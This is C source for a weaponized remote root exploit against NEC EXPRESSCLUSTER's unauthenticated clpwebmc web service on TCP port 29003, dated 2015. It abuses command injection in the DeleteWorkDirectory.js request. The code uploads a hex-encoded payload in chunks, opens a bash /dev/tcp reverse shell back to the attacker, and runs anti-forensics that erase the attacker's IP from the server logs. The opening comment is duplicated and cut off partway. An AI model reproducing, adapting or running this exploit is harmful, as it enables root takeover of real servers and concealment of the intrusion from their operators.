/*
* 2017 update: as of 3.3.4 this bug seems to be fixed
* - fixed versions:
* NEC EXPRESSCLUSTER X 3.3.4-1 for Linux(amd64)
* NEC EXPRESSCLUSTER X SingleS /*
* 2017 update: as of 3.3.4 this bug seems to be fixed
* - fixed versions:
* NEC EXPRESSCLUSTER X 3.3.4-1 for Linux(amd64)
* NEC EXPRESSCLUSTER X SingleServerSafe 3.3.4-1 for Linux(amd64)
*/
/*
* *** THIS IS PRIVATE + UNPUBLISHED (0-DAY) SOURCE CODE, DO NOT DISTRIBUTE ***
*
* NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte 2015
* <vincitamorpatriae@gmail.com>
*
* - product description:
* NEC EXPRESS CLUSTER is a family of integrated high availability and disaster
* recovery software solutions that address the fast recovery and continuous
* protection needs of business critical applications and data. With increased
* servers and complexity of server applications running Windows or Linux,
* EXPRESS CLUSTER minimizes planned and unplanned system outages.
*
* - vulnerability description:
* NEC EXPRESS CLUSTER comes with Cluster Manager, a Java applet for cluster
* configuration and management. The underlying webserver 'clpwebmc' runs as
* root and accepts connections on TCP port 29003 which can be initiated without
* authentication in the default installation.
*
* A function is available to remove temporary work directories by issuing the
* following GET request to port 29003, appended with the location of the
* directory that is supposed to be deleted:
* GET /DeleteWorkDirectory.js?WorkGuid=directoryname
*
* The working of the DeleteWorkDirectory.js HTTP request roughly translates to
* the following C code:
*
* void
* remove_dir_path(char *WorkGuidParameter)
* {
* char x[128];
* snprintf(x, sizeof(x), "rm -fr /opt/nec/clusterpro/%s",
* WorkGuidParameter);
* system(x);
* }
*
* No input sanitation is performed and the supplied arguments are passed
* straight on to system(). By setting the WorkGuid parameter to '0' and
* appending a semicolon followed by arbritrary commands it is possible to
* execute those commands as root on the remote machine.
*
* Example HTTP GET request with command injection:
* GET /DeleteWorkDirectory.js?WorkGuid=0;id>/tmp/id.txt
*
* Which results on the remote host:
* $ ls -la /tmp/id.txt
* -rw-rw-rw- 1 root root 57 Apr 20 16:37 /tmp/id.txt
* $ cat /tmp/id.txt
* uid=0(root) gid=0(root) groups=0(root)
*
* - tested vulnerable versions:
* NEC EXPRESSCLUSTER X 3.3.0-1 for Linux(x86_64) on CentOS 6
* NEC EXPRESSCLUSTER X 3.1 for Linux(x86_64) on CentOS 6
* NEC EXPRESSCLUSTER X 2.1.4-1 for Linux(x86_64) on CentOS 6
* NEC ExpressCluster X LAN for Linux 2.0.2-1 i686 on CentOS 5
* NEC ExpressCluster X WAN for Linux 2.0.2-1 i686 on CentOS 5
*
* - tested versions not vulnerable:
* NEC ExpressCluster SE for Linux 3.1 i386 on RHEL 4
*
* - exploit details:
* This exploit is fully "weaponized" as they call it nowadays. It starts a
* listening port on the attacking host and connects back from the victim host
* using bash /dev/tcp redirection. The attacking host cannot be behind NAT or
* run a firewall due to the nature of connect-back.
*
* A payload system is utilised where commands are encoded to hex and split into
* chunks. These chunks are then sent one by one to the victim host and appended
* to a temporary file using 'echo -ne'. The temporary file gets executed in the
* last request.
*
* For OPSEC purposes the temporary file will destroy itself and
* all traces of the exploit and your IP will be deleted from these log files:
* /opt/nec/clusterpro/log/webmgr.log.cur
* /opt/nec/clusterpro/log/webmgr.err.cur
*
* - exploit compilation:
* gcc -Wall clpwebmc0day-v2.c -o clpwebmc0day-v2
*
* - the exploit connect-back listener is confirmed to work on:
* CentOS 6
* Fedora 22
* OS X 10.10.5
*
*/

#include <arpa/inet.h>
#include <netinet/in.h>

#include <sys/socket.h>
#include <sys/types.h>

#include <fcntl.h>
#include <netdb.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define HDR "NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte"

#define HEAD "HEAD / HTTP/1.1"
#define CLPWEBMCPORT 29003
#define DEFAULTPORT 8080
#define GET "GET /DeleteWorkDirectory.js?WorkGuid=0;" /* the vulnerability */
#define INFO "GET /GetConfiguration.js?WebMgrVersion=0" /* nice info leak */
#define AUTH "Authorization: admin:"
#define HTTP " HTTP/1.1 "
#define CRLF " "

#define BUFSIZE 1024
#define MAXPROCCMD 194 /* max len of request.c: process_command parameter */

#define CMD "unset HISTFILE; cd /; /bin/uname -a; /usr/bin/id "

#define CHMOD "chmod 755 "
#define OVERWRITE "head -1024 /dev/urandom>"
#define UNLINK "rm -f "
#define ECHOAUTH "%secho -ne "%s">>%s%s%s%s"
#define ECHO "%secho -ne "%s">>%s%s"
#define LOG "/opt/nec/clusterpro/log/webmgr"
#define ECPATH "/opt/nec/clusterpro/0"
/* use the logged info leak GET request to find out the IP to connect-back */
#define CONNECTBACK "(/bin/bash 0</dev/tcp/"
"$(grep GetConfiguration %s.log.cur|"
"grep IP=|tail -1|tr ':' '\n'|"
"grep Root=1|cut -d, -f1)"
"/%d 1>&0 2>&0) &"
/* remove all log entries that reveal the vulnerability, exploit and our IP */
#define ANTIFOR "(sleep 5;for x in log err;do "
"grep -vE 'd=0|n=0|%s|check_pass|system' %s.$x.cur>%s.0;"
"cat %s.0>%s.$x.cur;"
"rm -f %s.0;"
"done) &"
/* TMPPATH is the remote directory where the payload will be stored, you could
* use /tmp but there's a fair chance that the sysadmin has mounted that with
* 'noexec'
*/
#define TMPPATH "/opt/nec/clusterpro/log"

int sock;
int listsock;
int list_s;
int flags;
int port = CLPWEBMCPORT;
int connectback = DEFAULTPORT;

extern char *__progname;
char *host;
char *md5;

int
validport(int port, char *p)
{
if ((port < 1) || (port > 65535)) {
printf("error: %d is an invalid %s port ", port, p);
return(1);
}

return(0);
}

void
usage()
{
printf("usage: %s -h <host> [-p|-c|-m] ", __progname);
printf(" -p [port (default: %d)] ", port);
printf(" -c [connect-back port (default: %d)] ", connectback);
printf(" -m [admin user md5 hash] ");
exit(1);
}

char
*genrandom()
{
int len = strlen(TMPPATH) + 8;
int n;

char *s = "AbCdEfGhIjKlMnOpQrXtUvWxYz";
char *r = malloc(sizeof(char)*(len + 1));

sprintf(&r[0], "%s/", TMPPATH);

srand(time(NULL));
for (n = strlen(TMPPATH) + 1; n < len; n++)
r[n] = s[rand() % strlen(s)];

r[len] = '';

return(r);
}

int
opensock(char *host, unsigned short int port)
{
int s;

struct hostent *target;
struct sockaddr_in addr;

target = gethostbyname(host);
if (target == NULL) {
perror("gethostbyname");
exit(1);
}

s = socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
if (s == -1) {
perror("socket");
exit(1);
}

memcpy(&addr.sin_addr, target->h_addr, target->h_length);

addr.sin_family = AF_INET;
addr.sin_port = htons(port);

if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
perror("connect");
exit(1);
}

return(s);
}

void
sendsock(char *buf)
{
char readbuf[1024];

if (strlen(buf) >= MAXPROCCMD) {
printf("sendsock() max len exceeded");
exit(1);
}

sock = opensock(host, port);
if (write(sock, buf, strlen(buf)) < 0) {
perror("write");
exit(1);
}

if (write(sock, CRLF, strlen(CRLF)) < 0) {
perror("write");
exit(1);
}

if (read(sock, readbuf, sizeof(readbuf) - 1) < 0) {
perror("read");
exit(1);
}

if (strstr(readbuf, "HTTP/1.1 200 OK") == NULL) {
if (strstr(readbuf, "HTTP/1.1 403 Forbidden") != NULL)
printf("[!] md5 hash is invalid %s ", md5);
else
printf("[!] unknown error: [%s][%lu] ", readbuf,
strlen(readbuf));

exit(1);
}

#ifdef VERBOSE
printf("[-] sendsock(): HTTP/1.1 200 OK ");
#endif
close(sock);
}

void
writepayload(char *p, char *path)
{
char buf[MAXPROCCMD];

if (md5 == NULL)
snprintf(buf, sizeof(buf), ECHO,
GET, p, path, HTTP);
else
snprintf(buf, sizeof(buf), ECHOAUTH,
GET, p, path, HTTP, AUTH, md5);

if (strlen(buf) > MAXPROCCMD) {
printf("writepayload(): "%s" size exceeds MAXPROCCMD ", buf);
exit(1);
}

sendsock(buf);
}

void
execpayload(char *path)
{
char buf[MAXPROCCMD];

printf("[*] executing payload ");

if (md5 == NULL) {
snprintf(buf, sizeof(buf), "%s%s%s%s", GET, CHMOD, path, HTTP);
sendsock(buf);

snprintf(buf, sizeof(buf), "%s%s%s", GET, path, HTTP);
sendsock(buf);
} else {
snprintf(buf, sizeof(buf), "%s%s%s%s%s%s", GET, CHMOD, path,
HTTP, AUTH, md5);
sendsock(buf);

snprintf(buf, sizeof(buf), "%s%s%s%s%s", GET, path, HTTP, AUTH,
md5);
sendsock(buf);
}
}

void
sendcmd(char *p, char *path)
{
int i;
int n = 1;
int c = 0;
int maxchunksize;
int req;

static char buf[MAXPROCCMD];

if (md5 == NULL) {
req = strlen(GET) + strlen(HTTP) + strlen(path) +
strlen(ECHO) + strlen(CRLF);
} else {
req = strlen(GET) + strlen(HTTP) + strlen(path) +
strlen(ECHOAUTH) + strlen(CRLF) + strlen(AUTH) +
strlen(md5);
}

#ifdef VERBOSE
printf("[-] command: "%s" ", p);
#endif

maxchunksize = (MAXPROCCMD - req) / 4;

/* make the payload destroy itself on the filesystem during execution
*/
printf("[*] adding self destruct to payload: %s ", path);
snprintf(buf, sizeof(buf), "%s%s 2>&1;", OVERWRITE, path);
writepayload(buf, path);
snprintf(buf, sizeof(buf), "%s%s;", UNLINK, path);
writepayload(buf, path);

if (strlen(p) > maxchunksize) {
printf("[-] command exceeds available space in GET request ");
printf("[-] have to split in chunks ");
}

printf("[*] uploading command payload to: %s ", path);
printf(" payload size: %lu ", strlen(p));
printf(" payload chunk space: %d ", maxchunksize);
printf(" number of chunks: %lu ", strlen(p) / maxchunksize);

printf("[*] uploading: ");
printf(" chunk %d", n);
#ifdef VERBOSE
printf(" | ");
#endif

/* turn commands into a hex payload of 'maxchunksize' byte chunks which
* are saved to the filesystem. this is to bypass '&' filtering and to
* get around the maximum size of GET requests allowed by clpwebmc
*/
for (i = 0; i < strlen(p); i++) {
sprintf(&buf[c * 4],"\x%02x", p[i]);
#ifdef VERBOSE
printf(" %c ", p[i]);
#endif
if (c == (maxchunksize - 1)) {

#ifdef VERBOSE
printf(" chunk %d", n);
printf(" | %s", buf);
#endif
printf(" ");
writepayload(buf, path);
c = 0;
n++;

printf(" chunk %d", n);
#ifdef VERBOSE
printf(" | ");
#endif
} else {
c++;
}
}

#ifdef VERBOSE
printf(" chunk %d", n);
printf(" | %s", buf);
#endif
printf(" ");

writepayload(buf, path);

execpayload(path);
}

void
checkserver()
{
char buf[BUFSIZE];

sock = opensock(host, port);
if (write(sock, HEAD, strlen(HEAD)) < 0) {
perror("write");
exit(1);
}

if (write(sock, CRLF, strlen(CRLF)) < 0) {
perror("write");
exit(1);
}

if (read(sock, buf, sizeof(buf) - 1) < 0) {
perror("read");
exit(1);
}

close(sock);

/* older clpwebmc versions present themselves as: ClusterProWebmanager
* newer versions use: ClusterWebmanager
*/
if (strstr(buf, "Server: Cluster") == NULL ||
strstr(buf, "Webmanager") == NULL) {
printf("error: %s:%d is not running clpwebmc ", host, port);
exit(1);
}

/* this GET request gets logged */
sock = opensock(host, port);
if (write(sock, INFO, strlen(INFO)) < 0) {
perror("write");
exit(1);
}

if (write(sock, CRLF, strlen(CRLF)) < 0) {
perror("write");
exit(1);
}

if (read(sock, buf, sizeof(buf) - 1) < 0) {
perror("read");
exit(1);
}

close(sock);

/* OS checker
* WebMgrVersion="WebMgr2.1.1_Linux"
* WebMgrVersion="WebMgr3.0.0_Win"
*/
if (strstr(buf, "_Linux"") == NULL) {
printf(" ");
printf("[!] cannot exploit, %s is not running Linux ", host);
printf(" (your IP has been logged by the target system) ");
exit(1);
}

printf("[-] %s:%d is Linux running clpwebmc ", host, port);

if ((strstr(buf, "NeedPasswdAuth=0") == NULL) && (md5 == NULL)) {
printf("[!] cannot exploit: clpwebmc has a password set ");
printf(" see usage how to send an admin password ");
printf(" (your IP has been logged by the target system) ");
printf(" ");
usage();
exit(1);
}
}

void
setuplistener()
{
struct sockaddr_in addr;

printf("[*] setting up connect-back listener on port: %d ",
connectback);

if ((list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
perror("socket");
exit(1);
}

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(connectback);

if (bind(list_s, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
perror("bind");
exit(1);
}

if (listen(list_s, BUFSIZE) < 0) {
perror("listen");
exit(1);
}

/* set O_NONBLOCK on listening socket */
flags = fcntl(list_s, F_GETFL, 0);
if (fcntl(list_s, F_SETFL, flags | O_NONBLOCK) == -1) {
perror("fcntl");
exit(1);
}
}

void
connectshell()
{
int p;

char buf[BUFSIZE];

struct timeval tm;

fd_set rset;

printf("[*] connecting to shell ");

#ifdef __APPLE__
/* remove O_NONBLOCK flag on OS X machines */
flags = fcntl(list_s, F_GETFL, 0);
if (fcntl(list_s, F_SETFL, flags |~ O_NONBLOCK) == -1) {
perror("fcntl");
exit(1);
}
#endif

if ((listsock = accept(list_s, NULL, NULL)) < 0) {
perror("accept");
exit(1);
}

p = send(listsock, CMD, strlen(CMD), 0);
if (p == -1) {
perror("send");
exit(1);
}

printf("[-] connect-back successful ");

tm.tv_sec = 10;
tm.tv_usec = 0;

while (1) {
FD_ZERO(&rset);
FD_SET(listsock, &rset);
FD_SET(STDIN_FILENO, &rset);
select(listsock + 1, &rset, NULL, NULL, &tm);

if (FD_ISSET(listsock, &rset)) {
p = read(listsock, buf, sizeof(buf) - 1);
if (p <= 0)
exit(0);

buf[p] = 0;
printf("%s", buf);
}

if (FD_ISSET(STDIN_FILENO, &rset)) {
p = read(STDIN_FILENO, buf, sizeof(buf) - 1);

if (p > 0) {
buf[p] = 0;
write(listsock, buf, p);
}
}
}
}

int
main(int argc, char *argv[]) {
int opt;

char cmd[BUFSIZE];

printf("%s ", HDR);

if (argc < 3)
usage();

while ((opt = getopt(argc, argv, "h:p:c:m:")) != -1)
switch (opt) {
case 'h':
host = optarg;
break;
case 'p':
port = atoi(optarg);
if (validport(port, "target") != 0)
exit(1);
break;
case 'c':
connectback = atoi(optarg);
if (validport(connectback, "connect-back") != 0)
exit(1);
break;
case 'm':
md5 = optarg;
printf("[-] using admin auth: %s ", md5);
break;
default:
usage();
}

if (host == NULL)
usage();

checkserver();
setuplistener();

snprintf(cmd, sizeof(cmd), CONNECTBACK, LOG, connectback);
sendcmd(cmd, genrandom());

/* remove all traces of the payload that were logged by webmgr
* also remove all remove_tmp_webm system entries as it reveals our vuln
*/
printf("[-] anti-forensics: %s.log.cur and %s.err.cur ", LOG, LOG);
snprintf(cmd, sizeof(cmd), ANTIFOR, ECPATH, LOG, LOG, LOG, LOG, LOG);
sendcmd(cmd, genrandom());

connectshell();

/* never reached */
return(0);
}